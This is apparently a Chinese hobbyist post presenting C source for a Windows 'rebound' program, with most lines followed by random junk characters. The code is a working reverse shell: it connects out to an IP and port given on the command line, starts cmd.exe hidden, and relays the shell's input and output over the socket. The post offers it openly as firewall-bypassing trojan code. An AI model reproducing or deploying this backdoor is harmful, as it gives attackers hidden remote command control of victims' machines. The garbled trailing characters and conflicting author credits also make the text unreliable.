这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F>l]
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/* ============================== T^KKy0ZGM
Rebound port in Windows NT 59A}}.@?m
By wind,2006/7 SH$PwJ U
===============================*/ ~mxO7cy5Cg
#include 7}>E J
#include ki!0^t:9
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#pragma comment(lib,"wsock32.lib") WT=;: j
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void OutputShell(); 4VSU8tK|N]
SOCKET sClient; Sm|6 %3
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; w@E3ZL^
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void main(int argc,char **argv) tWRC$
{ >GRxHK@G
WSADATA stWsaData; RrB&\9=
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; >bW#Zs,6
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if(argc != 3) TJRCH>E[a
{ ^h6tr8yn
printf("Useage:\n\rRebound DestIP DestPort\n"); R 9\*#c
return; 3pKQ$\u
} 6_Y,eL]"
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?tbrbkx
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 25?6gu*Z
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stSaiClient.sin_family = AF_INET; i/4>2y9/F4
stSaiClient.sin_port = htons(0); vs4>T^8e
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ga +dt
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K0>zxqY
{ !|(NgzDP/
printf("Bind Socket Failed!\n"); N6:`/f+A>T
return; 1+s;FJ2}
} sgFEK[w.y
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stSaiServer.sin_family = AF_INET; ]a`$LW}
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0 H:X3y+
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); WsB ?C&>x
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >[#f\bG>
{ 1qA;/-Zr<o
printf("Connect Error!"); M= (u]%\
return; !Uo4,g6r+
} "y}5;9#,
OutputShell(); `c$V$/IT
} upmx $H>
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void OutputShell() z{QqY.Gu{G
{ !a\^Sk
/
char szBuff[1024]; 75lA%|
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SECURITY_ATTRIBUTES stSecurityAttributes; N!}f}oF
OSVERSIONINFO stOsversionInfo; g_bLl)g<
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]-#DB^EQ
STARTUPINFO stStartupInfo; uY To9A
char *szShell; W>r+h-kR
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; Le^ n +5x
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); SXh-A1t
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); PKz':_|
stSecurityAttributes.lpSecurityDescriptor = 0; p_4<6{KEt
stSecurityAttributes.bInheritHandle = TRUE; m&3xJuKih
~}
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); OyIw>Wfv
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "AqB$^S9t
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2 %]X+`+O
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AbM'3Mkz
stStartupInfo.wShowWindow = SW_HIDE; H PVEnVn
stStartupInfo.hStdInput = hReadPipe; 2=}FBA,2
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; x8|J-8A(
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GetVersionEx(&stOsversionInfo); ueNS='+m
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switch(stOsversionInfo.dwPlatformId) c71y'hnT
{ H5an%kU|j
case 1: sLk-x\P]|
szShell = "command.com"; \;Weizq5
break; x+]"
default: 6A ah9
szShell = "cmd.exe"; (9)Q ' 'S
break; ]:n,RO6
} ['D]>Ot68
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i6Gu@( 8Q
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send(sClient,szMsg,77,0); >\8+:oS^
while(1) K
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{ Z_NCD`i;
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =_^X3z0
if(lBytesRead) a+QpM*n7Lq
{ *^`Vz?g<
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); pj(,Zd[47
send(sClient,szBuff,lBytesRead,0); LP=)~K<
} RnN!2K
else x)&\z}
{ ;.C\Ss<>*
lBytesRead=recv(sClient,szBuff,1024,0); j8gdlIx
if(lBytesRead<=0) break; zuCSj~
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K sCyFp
} :!QAC@
} mE[y SrV
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return; X8\GzNE~R
}